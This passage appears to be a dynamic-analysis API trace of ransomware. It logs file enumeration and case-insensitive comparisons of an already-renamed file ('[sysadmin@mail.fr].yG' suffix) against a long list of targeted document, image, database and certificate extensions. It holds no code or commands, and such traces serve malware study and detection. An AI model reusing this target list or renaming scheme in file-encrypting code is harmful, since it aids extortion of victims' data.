	[0178.618] FindNextFileW (in: hFindFile=0x6ba500, lpFindFileData=0x38df800 | out: lpFindFileData=0x38df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97fa2bfb, ftCreationTime.dwHighDateTime=0x1d50839, ftLastAccessTime.dwLowDateTime=0x97fa2bfb, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x9808bce9, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0xa7de, dwReserved0=0xffffe40c, dwReserved1=0x1f2, cFileName="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[sysadmin@mail.fr].yG", cAlternateFileName="DOWNLE~1.YG")) returned 1
	[0178.618] lstrlenW (lpString="downlevel_2017_09_07_02_02_39_766.log.id-B4197730.[sysadmin@mail.fr].yG") returned 71
	[0178.618] lstrlenW (lpString=".1cd") returned 4
	[0178.618] lstrcmpiW (lpString1=".1cd", lpString2="].yG") returned -1
	[0178.618] lstrlenW (lpString=".3ds") returned 4
	[0178.618] lstrcmpiW (lpString1=".3ds", lpString2="].yG") returned -1
	[0178.618] lstrlenW (lpString=".3fr") returned 4
	[0178.618] lstrcmpiW (lpString1=".3fr", lpString2="].yG") returned -1
	[0178.618] lstrlenW (lpString=".3g2") returned 4
	[0178.618] lstrcmpiW (lpString1=".3g2", lpString2="].yG") returned -1
	[0178.618] lstrlenW (lpString=".3gp") returned 4
	[0178.618] lstrcmpiW (lpString1=".3gp", lpString2="].yG") returned -1
	[0178.618] lstrlenW (lpString=".7z") returned 3
	[0178.618] lstrcmpiW (lpString1=".7z", lpString2=".yG") returned -1
	[0178.618] lstrlenW (lpString=".accda") returned 6
	[0178.618] lstrcmpiW (lpString1=".accda", lpString2="fr].yG") returned -1
	[0178.618] lstrlenW (lpString=".accdb") returned 6
	[0178.618] lstrcmpiW (lpString1=".accdb", lpString2="fr].yG") returned -1
	[0178.618] lstrlenW (lpString=".accdc") returned 6
	[0178.618] lstrcmpiW (lpString1=".accdc", lpString2="fr].yG") returned -1
	[0178.618] lstrlenW (lpString=".accde") returned 6
	[0178.618] lstrcmpiW (lpString1=".accde", lpString2="fr].yG") returned -1
	[0178.619] lstrlenW (lpString=".accdt") returned 6
	[0178.619] lstrcmpiW (lpString1=".accdt", lpString2="fr].yG") returned -1
	[0178.619] lstrlenW (lpString=".accdw") returned 6
	[0178.619] lstrcmpiW (lpString1=".accdw", lpString2="fr].yG") returned -1
	[0178.619] lstrlenW (lpString=".adb") returned 4
	[0178.619] lstrcmpiW (lpString1=".adb", lpString2="].yG") returned -1
	[0178.619] lstrlenW (lpString=".adp") returned 4
	[0178.619] lstrcmpiW (lpString1=".adp", lpString2="].yG") returned -1
	[0178.619] lstrlenW (lpString=".ai") returned 3
	[0178.619] lstrcmpiW (lpString1=".ai", lpString2=".yG") returned -1
	[0178.619] lstrlenW (lpString=".ai3") returned 4
	[0178.619] lstrcmpiW (lpString1=".ai3", lpString2="].yG") returned -1
	[0178.619] lstrlenW (lpString=".ai4") returned 4
	[0178.619] lstrcmpiW (lpString1=".ai4", lpString2="].yG") returned -1
	[0178.619] lstrlenW (lpString=".ai5") returned 4
	[0178.619] lstrcmpiW (lpString1=".ai5", lpString2="].yG") returned -1
	[0178.619] lstrlenW (lpString=".ai6") returned 4
	[0178.619] lstrcmpiW (lpString1=".ai6", lpString2="].yG") returned -1
	[0178.619] lstrlenW (lpString=".ai7") returned 4
	[0178.619] lstrcmpiW (lpString1=".ai7", lpString2="].yG") returned -1
	[0178.619] lstrlenW (lpString=".ai8") returned 4
	[0178.619] lstrcmpiW (lpString1=".ai8", lpString2="].yG") returned -1
	[0178.619] lstrlenW (lpString=".anim") returned 5
	[0178.619] lstrcmpiW (lpString1=".anim", lpString2="r].yG") returned -1
	[0178.619] lstrlenW (lpString=".arw") returned 4
	[0178.619] lstrcmpiW (lpString1=".arw", lpString2="].yG") returned -1
	[0178.619] lstrlenW (lpString=".as") returned 3
	[0178.619] lstrcmpiW (lpString1=".as", lpString2=".yG") returned -1
	[0178.619] lstrlenW (lpString=".asa") returned 4
	[0178.620] lstrcmpiW (lpString1=".asa", lpString2="].yG") returned -1
	[0178.620] lstrlenW (lpString=".asc") returned 4
	[0178.620] lstrcmpiW (lpString1=".asc", lpString2="].yG") returned -1
	[0178.620] lstrlenW (lpString=".ascx") returned 5
	[0178.620] lstrcmpiW (lpString1=".ascx", lpString2="r].yG") returned -1
	[0178.620] lstrlenW (lpString=".asm") returned 4
	[0178.620] lstrcmpiW (lpString1=".asm", lpString2="].yG") returned -1
	[0178.620] lstrlenW (lpString=".asmx") returned 5
	[0178.620] lstrcmpiW (lpString1=".asmx", lpString2="r].yG") returned -1
	[0178.620] lstrlenW (lpString=".asp") returned 4
	[0178.620] lstrcmpiW (lpString1=".asp", lpString2="].yG") returned -1
	[0178.620] lstrlenW (lpString=".aspx") returned 5
	[0178.620] lstrcmpiW (lpString1=".aspx", lpString2="r].yG") returned -1
	[0178.620] lstrlenW (lpString=".asr") returned 4
	[0178.620] lstrcmpiW (lpString1=".asr", lpString2="].yG") returned -1
	[0178.620] lstrlenW (lpString=".asx") returned 4
	[0178.620] lstrcmpiW (lpString1=".asx", lpString2="].yG") returned -1
	[0178.620] lstrlenW (lpString=".avi") returned 4
	[0178.620] lstrcmpiW (lpString1=".avi", lpString2="].yG") returned -1
	[0178.620] lstrlenW (lpString=".avs") returned 4
	[0178.620] lstrcmpiW (lpString1=".avs", lpString2="].yG") returned -1
	[0178.620] lstrlenW (lpString=".backup") returned 7
	[0178.620] lstrcmpiW (lpString1=".backup", lpString2=".fr].yG") returned -1
	[0178.620] lstrlenW (lpString=".bak") returned 4
	[0178.620] lstrcmpiW (lpString1=".bak", lpString2="].yG") returned -1
	[0178.620] lstrlenW (lpString=".bay") returned 4
	[0178.620] lstrcmpiW (lpString1=".bay", lpString2="].yG") returned -1
	[0178.620] lstrlenW (lpString=".bd") returned 3
	[0178.620] lstrcmpiW (lpString1=".bd", lpString2=".yG") returned -1
	[0178.621] lstrlenW (lpString=".bin") returned 4
	[0178.621] lstrcmpiW (lpString1=".bin", lpString2="].yG") returned -1
	[0178.621] lstrlenW (lpString=".bmp") returned 4
	[0178.621] lstrcmpiW (lpString1=".bmp", lpString2="].yG") returned -1
	[0178.621] lstrlenW (lpString=".bz2") returned 4
	[0178.621] lstrcmpiW (lpString1=".bz2", lpString2="].yG") returned -1
	[0178.621] lstrlenW (lpString=".c") returned 2
	[0178.621] lstrcmpiW (lpString1=".c", lpString2="yG") returned -1
	[0178.621] lstrlenW (lpString=".cdr") returned 4
	[0178.621] lstrcmpiW (lpString1=".cdr", lpString2="].yG") returned -1
	[0178.621] lstrlenW (lpString=".cer") returned 4
	[0178.621] lstrcmpiW (lpString1=".cer", lpString2="].yG") returned -1
	[0178.621] lstrlenW (lpString=".cf") returned 3
	[0178.621] lstrcmpiW (lpString1=".cf", lpString2=".yG") returned -1
	[0178.621] lstrlenW (lpString=".cfc") returned 4
	[0178.621] lstrcmpiW (lpString1=".cfc", lpString2="].yG") returned -1
	[0178.621] lstrlenW (lpString=".cfm") returned 4
	[0178.621] lstrcmpiW (lpString1=".cfm", lpString2="].yG") returned -1
	[0178.621] lstrlenW (lpString=".cfml") returned 5
	[0178.621] lstrcmpiW (lpString1=".cfml", lpString2="r].yG") returned -1
	[0178.621] lstrlenW (lpString=".cfu") returned 4
	[0178.621] lstrcmpiW (lpString1=".cfu", lpString2="].yG") returned -1
	[0178.621] lstrlenW (lpString=".chm") returned 4
	[0178.621] lstrcmpiW (lpString1=".chm", lpString2="].yG") returned -1
	[0178.621] lstrlenW (lpString=".cin") returned 4
	[0178.621] lstrcmpiW (lpString1=".cin", lpString2="].yG") returned -1
	[0178.621] lstrlenW (lpString=".class") returned 6
	[0178.621] lstrcmpiW (lpString1=".class", lpString2="fr].yG") returned -1
	[0178.621] lstrlenW (lpString=".clx") returned 4
	[0178.622] lstrcmpiW (lpString1=".clx", lpString2="].yG") returned -1
	[0178.622] lstrlenW (lpString=".config") returned 7
	[0178.622] lstrcmpiW (lpString1=".config", lpString2=".fr].yG") returned -1
	[0178.622] lstrlenW (lpString=".cpp") returned 4
	[0178.622] lstrcmpiW (lpString1=".cpp", lpString2="].yG") returned -1
	[0178.622] lstrlenW (lpString=".cr2") returned 4
	[0178.622] lstrcmpiW (lpString1=".cr2", lpString2="].yG") returned -1
	[0178.622] lstrlenW (lpString=".crt") returned 4
	[0178.622] lstrcmpiW (lpString1=".crt", lpString2="].yG") returned -1
	[0178.622] lstrlenW (lpString=".crw") returned 4
	[0178.622] lstrcmpiW (lpString1=".crw", lpString2="].yG") returned -1
	[0178.622] lstrlenW (lpString=".cs") returned 3
	[0178.622] lstrcmpiW (lpString1=".cs", lpString2=".yG") returned -1
	[0178.622] lstrlenW (lpString=".css") returned 4
	[0178.622] lstrcmpiW (lpString1=".css", lpString2="].yG") returned -1
	[0178.622] lstrlenW (lpString=".csv") returned 4
	[0178.622] lstrcmpiW (lpString1=".csv", lpString2="].yG") returned -1
	[0178.622] lstrlenW (lpString=".cub") returned 4
	[0178.622] lstrcmpiW (lpString1=".cub", lpString2="].yG") returned -1
	[0178.622] lstrlenW (lpString=".dae") returned 4
	[0178.622] lstrcmpiW (lpString1=".dae", lpString2="].yG") returned -1
	[0178.622] lstrlenW (lpString=".dat") returned 4
	[0178.622] lstrcmpiW (lpString1=".dat", lpString2="].yG") returned -1
	[0178.622] lstrlenW (lpString=".db") returned 3
	[0178.622] lstrcmpiW (lpString1=".db", lpString2=".yG") returned -1
	[0178.622] lstrlenW (lpString=".dbf") returned 4
	[0178.622] lstrcmpiW (lpString1=".dbf", lpString2="].yG") returned -1
	[0178.622] lstrlenW (lpString=".dbx") returned 4
	[0178.623] lstrcmpiW (lpString1=".dbx", lpString2="].yG") returned -1
	[0178.623] lstrlenW (lpString=".dc3") returned 4
	[0178.623] lstrcmpiW (lpString1=".dc3", lpString2="].yG") returned -1
	[0178.623] lstrlenW (lpString=".dcm") returned 4
	[0178.623] lstrcmpiW (lpString1=".dcm", lpString2="].yG") returned -1
	[0178.623] lstrlenW (lpString=".dcr") returned 4
	[0178.623] lstrcmpiW (lpString1=".dcr", lpString2="].yG") returned -1
	[0178.623] lstrlenW (lpString=".der") returned 4
	[0178.623] lstrcmpiW (lpString1=".der", lpString2="].yG") returned -1
	[0178.623] lstrlenW (lpString=".dib") returned 4
	[0178.623] lstrcmpiW (lpString1=".dib", lpString2="].yG") returned -1
	[0178.623] lstrlenW (lpString=".dic") returned 4
	[0178.623] lstrcmpiW (lpString1=".dic", lpString2="].yG") returned -1
	[0178.623] lstrlenW (lpString=".dif") returned 4
	[0178.623] lstrcmpiW (lpString1=".dif", lpString2="].yG") returned -1
	[0178.623] lstrlenW (lpString=".divx") returned 5
	[0178.623] lstrcmpiW (lpString1=".divx", lpString2="r].yG") returned -1
	[0178.623] lstrlenW (lpString=".djvu") returned 5
	[0178.623] lstrcmpiW (lpString1=".djvu", lpString2="r].yG") returned -1
	[0178.624] lstrlenW (lpString=".dng") returned 4
	[0178.624] lstrcmpiW (lpString1=".dng", lpString2="].yG") returned -1
	[0178.624] lstrlenW (lpString=".doc") returned 4
	[0178.624] lstrcmpiW (lpString1=".doc", lpString2="].yG") returned -1
	[0178.624] lstrlenW (lpString=".docm") returned 5
	[0178.624] lstrcmpiW (lpString1=".docm", lpString2="r].yG") returned -1
	[0178.624] lstrlenW (lpString=".docx") returned 5
	[0178.624] lstrcmpiW (lpString1=".docx", lpString2="r].yG") returned -1
	[0178.624] lstrlenW (lpString=".dot") returned 4
	[0178.624] lstrcmpiW (lpString1=".dot", lpString2="].yG") returned -1
	[0178.624] lstrlenW (lpString=".dotm") returned 5
	[0178.624] lstrcmpiW (lpString1=".dotm", lpString2="r].yG") returned -1
	[0178.624] lstrlenW (lpString=".dotx") returned 5
	[0178.624] lstrcmpiW (lpString1=".dotx", lpString2="r].yG") returned -1
	[0178.624] lstrlenW (lpString=".dpx") returned 4
	[0178.624] lstrcmpiW (lpString1=".dpx", lpString2="].yG") returned -1
	[0178.624] lstrlenW (lpString=".dqy") returned 4
	[0178.624] lstrcmpiW (lpString1=".dqy", lpString2="].yG") returned -1
	[0178.624] lstrlenW (lpString=".dsn") returned 4
	[0178.624] lstrcmpiW (lpString1=".dsn", lpString2="].yG") returned -1
	[0178.624] lstrlenW (lpString=".dt") returned 3
	[0178.624] lstrcmpiW (lpString1=".dt", lpString2=".yG") returned -1
	[0178.624] lstrlenW (lpString=".dtd") returned 4
	[0178.624] lstrcmpiW (lpString1=".dtd", lpString2="].yG") returned -1
	[0178.624] lstrlenW (lpString=".dwg") returned 4
	[0178.624] lstrcmpiW (lpString1=".dwg", lpString2="].yG") returned -1
	[0178.624] lstrlenW (lpString=".dwt") returned 4
	[0178.624] lstrcmpiW (lpString1=".dwt", lpString2="].yG") returned -1
	[0178.625] lstrlenW (lpString=".dx") returned 3
	[0178.625] lstrcmpiW (lpString1=".dx", lpString2=".yG") returned -1
	[0178.625] lstrlenW (lpString=".dxf") returned 4
	[0178.625] lstrcmpiW (lpString1=".dxf", lpString2="].yG") returned -1
	[0178.625] lstrlenW (lpString=".edml") returned 5
	[0178.625] lstrcmpiW (lpString1=".edml", lpString2="r].yG") returned -1
	[0178.625] lstrlenW (lpString=".efd") returned 4
	[0178.625] lstrcmpiW (lpString1=".efd", lpString2="].yG") returned -1
	[0178.625] lstrlenW (lpString=".elf") returned 4
	[0178.625] lstrcmpiW (lpString1=".elf", lpString2="].yG") returned -1
	[0178.625] lstrlenW (lpString=".emf") returned 4
	[0178.625] lstrcmpiW (lpString1=".emf", lpString2="].yG") returned -1
	[0178.625] lstrlenW (lpString=".emz") returned 4
	[0178.625] lstrcmpiW (lpString1=".emz", lpString2="].yG") returned -1
	[0178.625] lstrlenW (lpString=".epf") returned 4
	[0178.625] lstrcmpiW (lpString1=".epf", lpString2="].yG") returned -1
	[0178.625] lstrlenW (lpString=".eps") returned 4
	[0178.625] lstrcmpiW (lpString1=".eps", lpString2="].yG") returned -1
	[0178.625] lstrlenW (lpString=".epsf") returned 5
	[0178.625] lstrcmpiW (lpString1=".epsf", lpString2="r].yG") returned -1
	[0178.625] lstrlenW (lpString=".epsp") returned 5
	[0178.625] lstrcmpiW (lpString1=".epsp", lpString2="r].yG") returned -1
	[0178.625] lstrlenW (lpString=".erf") returned 4
	[0178.625] lstrcmpiW (lpString1=".erf", lpString2="].yG") returned -1
	[0178.625] lstrlenW (lpString=".exr") returned 4
	[0178.625] lstrcmpiW (lpString1=".exr", lpString2="].yG") returned -1
	[0178.625] lstrlenW (lpString=".f4v") returned 4
	[0178.625] lstrcmpiW (lpString1=".f4v", lpString2="].yG") returned -1
	[0178.626] lstrlenW (lpString=".fido") returned 5
	[0178.626] lstrcmpiW (lpString1=".fido", lpString2="r].yG") returned -1
	[0178.626] lstrlenW (lpString=".flm") returned 4
	[0178.626] lstrcmpiW (lpString1=".flm", lpString2="].yG") returned -1
	[0178.626] lstrlenW (lpString=".flv") returned 4
	[0178.626] lstrcmpiW (lpString1=".flv", lpString2="].yG") returned -1
	[0178.626] lstrlenW (lpString=".frm") returned 4
	[0178.626] lstrcmpiW (lpString1=".frm", lpString2="].yG") returned -1
	[0178.626] lstrlenW (lpString=".fxg") returned 4
	[0178.626] lstrcmpiW (lpString1=".fxg", lpString2="].yG") returned -1
	[0178.626] lstrlenW (lpString=".geo") returned 4
	[0178.626] lstrcmpiW (lpString1=".geo", lpString2="].yG") returned -1
	[0178.626] lstrlenW (lpString=".gif") returned 4
	[0178.626] lstrcmpiW (lpString1=".gif", lpString2="].yG") returned -1
	[0178.626] lstrlenW (lpString=".grs") returned 4
	[0178.626] lstrcmpiW (lpString1=".grs", lpString2="].yG") returned -1
	[0178.626] lstrlenW (lpString=".gz") returned 3
	[0178.626] lstrcmpiW (lpString1=".gz", lpString2=".yG") returned -1
	[0178.626] lstrlenW (lpString=".h") returned 2
	[0178.626] lstrcmpiW (lpString1=".h", lpString2="yG") returned -1
	[0178.626] lstrlenW (lpString=".hdr") returned 4
	[0178.626] lstrcmpiW (lpString1=".hdr", lpString2="].yG") returned -1
	[0178.626] lstrlenW (lpString=".hpp") returned 4
	[0178.626] lstrcmpiW (lpString1=".hpp", lpString2="].yG") returned -1
	[0178.626] lstrlenW (lpString=".hta") returned 4
	[0178.626] lstrcmpiW (lpString1=".hta", lpString2="].yG") returned -1
	[0178.626] lstrlenW (lpString=".htc") returned 4
	[0178.626] lstrcmpiW (lpString1=".htc", lpString2="].yG") returned -1
	[0178.627] lstrlenW (lpString=".htm") returned 4
	[0178.627] lstrcmpiW (lpString1=".htm", lpString2="].yG") returned -1
	[0178.627] lstrlenW (lpString=".html") returned 5
	[0178.627] lstrcmpiW (lpString1=".html", lpString2="r].yG") returned -1
	[0178.627] lstrlenW (lpString=".icb") returned 4
	[0178.627] lstrcmpiW (lpString1=".icb", lpString2="].yG") returned -1
	[0178.627] lstrlenW (lpString=".ics") returned 4
	[0178.627] lstrcmpiW (lpString1=".ics", lpString2="].yG") returned -1
	[0178.627] lstrlenW (lpString=".iff") returned 4
	[0178.627] lstrcmpiW (lpString1=".iff", lpString2="].yG") returned -1
	[0178.627] lstrlenW (lpString=".inc") returned 4
	[0178.627] lstrcmpiW (lpString1=".inc", lpString2="].yG") returned -1
	[0178.627] lstrlenW (lpString=".indd") returned 5
	[0178.627] lstrcmpiW (lpString1=".indd", lpString2="r].yG") returned -1
	[0178.627] lstrlenW (lpString=".ini") returned 4
	[0178.627] lstrcmpiW (lpString1=".ini", lpString2="].yG") returned -1
	[0178.627] lstrlenW (lpString=".iqy") returned 4
	[0178.627] lstrcmpiW (lpString1=".iqy", lpString2="].yG") returned -1
	[0178.627] lstrlenW (lpString=".j2c") returned 4
	[0178.627] lstrcmpiW (lpString1=".j2c", lpString2="].yG") returned -1
	[0178.627] lstrlenW (lpString=".j2k") returned 4
	[0178.627] lstrcmpiW (lpString1=".j2k", lpString2="].yG") returned -1
	[0178.627] lstrlenW (lpString=".java") returned 5
	[0178.627] lstrcmpiW (lpString1=".java", lpString2="r].yG") returned -1
	[0178.627] lstrlenW (lpString=".jp2") returned 4
	[0178.627] lstrcmpiW (lpString1=".jp2", lpString2="].yG") returned -1
	[0178.627] lstrlenW (lpString=".jpc") returned 4
	[0178.627] lstrcmpiW (lpString1=".jpc", lpString2="].yG") returned -1
	[0178.628] lstrlenW (lpString=".jpe") returned 4
	[0178.628] lstrcmpiW (lpString1=".jpe", lpString2="].yG") returned -1
	[0178.628] lstrlenW (lpString=".jpeg") returned 5
	[0178.628] lstrcmpiW (lpString1=".jpeg", lpString2="r].yG") returned -1
	[0178.628] lstrlenW (lpString=".jpf") returned 4
	[0178.628] lstrcmpiW (lpString1=".jpf", lpString2="].yG") returned -1
	[0178.628] lstrlenW (lpString=".jpg") returned 4
	[0178.628] lstrcmpiW (lpString1=".jpg", lpString2="].yG") returned -1
	[0178.628] lstrlenW (lpString=".jpx") returned 4
	[0178.628] lstrcmpiW (lpString1=".jpx", lpString2="].yG") returned -1
	[0178.628] lstrlenW (lpString=".js") returned 3
	[0178.628] lstrcmpiW (lpString1=".js", lpString2=".yG") returned -1
	[0178.628] lstrlenW (lpString=".jsf") returned 4
	[0178.628] lstrcmpiW (lpString1=".jsf", lpString2="].yG") returned -1
	[0178.628] lstrlenW (lpString=".json") returned 5
	[0178.628] lstrcmpiW (lpString1=".json", lpString2="r].yG") returned -1
	[0178.628] lstrlenW (lpString=".jsp") returned 4
	[0178.628] lstrcmpiW (lpString1=".jsp", lpString2="].yG") returned -1
	[0178.628] lstrlenW (lpString=".kdc") returned 4
	[0178.628] lstrcmpiW (lpString1=".kdc", lpString2="].yG") returned -1
	[0178.628] lstrlenW (lpString=".kmz") returned 4
	[0178.628] lstrcmpiW (lpString1=".kmz", lpString2="].yG") returned -1
	[0178.628] lstrlenW (lpString=".kwm") returned 4
	[0178.628] lstrcmpiW (lpString1=".kwm", lpString2="].yG") returned -1
	[0178.628] lstrlenW (lpString=".lasso") returned 6
	[0178.628] lstrcmpiW (lpString1=".lasso", lpString2="fr].yG") returned -1
	[0178.628] lstrlenW (lpString=".lbi") returned 4
	[0178.628] lstrcmpiW (lpString1=".lbi", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".lgf") returned 4
	[0178.629] lstrcmpiW (lpString1=".lgf", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".lgp") returned 4
	[0178.629] lstrcmpiW (lpString1=".lgp", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".log") returned 4
	[0178.629] lstrcmpiW (lpString1=".log", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".m1v") returned 4
	[0178.629] lstrcmpiW (lpString1=".m1v", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".m4a") returned 4
	[0178.629] lstrcmpiW (lpString1=".m4a", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".m4v") returned 4
	[0178.629] lstrcmpiW (lpString1=".m4v", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".max") returned 4
	[0178.629] lstrcmpiW (lpString1=".max", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".md") returned 3
	[0178.629] lstrcmpiW (lpString1=".md", lpString2=".yG") returned -1
	[0178.629] lstrlenW (lpString=".mda") returned 4
	[0178.629] lstrcmpiW (lpString1=".mda", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".mdb") returned 4
	[0178.629] lstrcmpiW (lpString1=".mdb", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".mde") returned 4
	[0178.629] lstrcmpiW (lpString1=".mde", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".mdf") returned 4
	[0178.629] lstrcmpiW (lpString1=".mdf", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".mdw") returned 4
	[0178.629] lstrcmpiW (lpString1=".mdw", lpString2="].yG") returned -1
	[0178.629] lstrlenW (lpString=".mef") returned 4
	[0178.630] lstrcmpiW (lpString1=".mef", lpString2="].yG") returned -1
	[0178.630] lstrlenW (lpString=".mft") returned 4
	[0178.630] lstrcmpiW (lpString1=".mft", lpString2="].yG") returned -1
	[0178.630] lstrlenW (lpString=".mfw") returned 4
	[0178.630] lstrcmpiW (lpString1=".mfw", lpString2="].yG") returned -1
	[0178.630] lstrlenW (lpString=".mht") returned 4
	[0178.630] lstrcmpiW (lpString1=".mht", lpString2="].yG") returned -1
	[0178.630] lstrlenW (lpString=".mhtml") returned 6
	[0178.630] lstrcmpiW (lpString1=".mhtml", lpString2="fr].yG") returned -1
	[0178.630] lstrlenW (lpString=".mka") returned 4
	[0178.630] lstrcmpiW (lpString1=".mka", lpString2="].yG") returned -1
	[0178.630] lstrlenW (lpString=".mkidx") returned 6
	[0178.630] lstrcmpiW (lpString1=".mkidx", lpString2="fr].yG") returned -1
	[0178.630] lstrlenW (lpString=".mkv") returned 4
	[0178.630] lstrcmpiW (lpString1=".mkv", lpString2="].yG") returned -1
	[0178.630] lstrlenW (lpString=".mos") returned 4
	[0178.630] lstrcmpiW (lpString1=".mos", lpString2="].yG") returned -1
	[0178.630] lstrlenW (lpString=".mov") returned 4
	[0178.630] lstrcmpiW (lpString1=".mov", lpString2="].yG") returned -1
	[0178.630] lstrlenW (lpString=".mp3") returned 4
	[0178.630] lstrcmpiW (lpString1=".mp3", lpString2="].yG") returned -1
	[0178.630] lstrlenW (lpString=".mp4") returned 4
	[0178.630] lstrcmpiW (lpString1=".mp4", lpString2="].yG") returned -1
	[0178.630] lstrlenW (lpString=".mpeg") returned 5
	[0178.630] lstrcmpiW (lpString1=".mpeg", lpString2="r].yG") returned -1
	[0178.630] lstrlenW (lpString=".mpg") returned 4
	[0178.630] lstrcmpiW (lpString1=".mpg", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".mpv") returned 4
	[0178.631] lstrcmpiW (lpString1=".mpv", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".mrw") returned 4
	[0178.631] lstrcmpiW (lpString1=".mrw", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".msg") returned 4
	[0178.631] lstrcmpiW (lpString1=".msg", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".mxl") returned 4
	[0178.631] lstrcmpiW (lpString1=".mxl", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".myd") returned 4
	[0178.631] lstrcmpiW (lpString1=".myd", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".myi") returned 4
	[0178.631] lstrcmpiW (lpString1=".myi", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".nef") returned 4
	[0178.631] lstrcmpiW (lpString1=".nef", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".nrw") returned 4
	[0178.631] lstrcmpiW (lpString1=".nrw", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".obj") returned 4
	[0178.631] lstrcmpiW (lpString1=".obj", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".odb") returned 4
	[0178.631] lstrcmpiW (lpString1=".odb", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".odc") returned 4
	[0178.631] lstrcmpiW (lpString1=".odc", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".odm") returned 4
	[0178.631] lstrcmpiW (lpString1=".odm", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".odp") returned 4
	[0178.631] lstrcmpiW (lpString1=".odp", lpString2="].yG") returned -1
	[0178.631] lstrlenW (lpString=".ods") returned 4
	[0178.631] lstrcmpiW (lpString1=".ods", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".oft") returned 4
	[0178.632] lstrcmpiW (lpString1=".oft", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".one") returned 4
	[0178.632] lstrcmpiW (lpString1=".one", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".onepkg") returned 7
	[0178.632] lstrcmpiW (lpString1=".onepkg", lpString2=".fr].yG") returned 1
	[0178.632] lstrlenW (lpString=".onetoc2") returned 8
	[0178.632] lstrcmpiW (lpString1=".onetoc2", lpString2="l.fr].yG") returned -1
	[0178.632] lstrlenW (lpString=".opt") returned 4
	[0178.632] lstrcmpiW (lpString1=".opt", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".oqy") returned 4
	[0178.632] lstrcmpiW (lpString1=".oqy", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".orf") returned 4
	[0178.632] lstrcmpiW (lpString1=".orf", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".p12") returned 4
	[0178.632] lstrcmpiW (lpString1=".p12", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".p7b") returned 4
	[0178.632] lstrcmpiW (lpString1=".p7b", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".p7c") returned 4
	[0178.632] lstrcmpiW (lpString1=".p7c", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".pam") returned 4
	[0178.632] lstrcmpiW (lpString1=".pam", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".pbm") returned 4
	[0178.632] lstrcmpiW (lpString1=".pbm", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".pct") returned 4
	[0178.632] lstrcmpiW (lpString1=".pct", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".pcx") returned 4
	[0178.632] lstrcmpiW (lpString1=".pcx", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".pdd") returned 4
	[0178.632] lstrcmpiW (lpString1=".pdd", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".pdf") returned 4
	[0178.632] lstrcmpiW (lpString1=".pdf", lpString2="].yG") returned -1
	[0178.632] lstrlenW (lpString=".pdp") returned 4
	[0178.633] lstrcmpiW (lpString1=".pdp", lpString2="].yG") returned -1
	[0178.633] lstrlenW (lpString=".pef") returned 4
	[0178.633] lstrcmpiW (lpString1=".pef", lpString2="].yG") returned -1
	[0178.633] lstrlenW (lpString=".pem") returned 4
	[0178.633] lstrcmpiW (lpString1=".pem", lpString2="].yG") returned -1
	[0178.633] lstrlenW (lpString=".pff") returned 4
	[0178.633] lstrcmpiW (lpString1=".pff", lpString2="].yG") returned -1
	[0178.633] lstrlenW (lpString=".pfm") returned 4
	[0178.633] lstrcmpiW (lpString1=".pfm", lpString2="].yG") returned -1
	[0178.633] lstrlenW (lpString=".pfx") returned 4
	[0178.633] lstrcmpiW (lpString1=".pfx", lpString2="].yG") returned -1
	[0178.633] lstrlenW (lpString=".pgm") returned 4
	[0178.633] lstrcmpiW (lpString1=".pgm", lpString2="].yG") returned -1
	[0178.633] lstrlenW (lpString=".php") returned 4
	[0178.633] lstrcmpiW (lpString1=".php", lpString2="].yG") returned -1
	[0178.633] lstrlenW (lpString=".php3") returned 5
	[0178.633] lstrcmpiW (lpString1=".php3", lpString2="r].yG") returned -1
	[0178.633] lstrlenW (lpString=".php4") returned 5
	[0178.633] lstrcmpiW (lpString1=".php4", lpString2="r].yG") returned -1
	[0178.633] lstrlenW (lpString=".php5") returned 5
	[0178.633] lstrcmpiW (lpString1=".php5", lpString2="r].yG") returned -1
	[0178.633] lstrlenW (lpString=".phtml") returned 6
	[0178.633] lstrcmpiW (lpString1=".phtml", lpString2="fr].yG") returned -1
	[0178.633] lstrlenW (lpString=".pict") returned 5
	[0178.633] lstrcmpiW (lpString1=".pict", lpString2="r].yG") returned -1
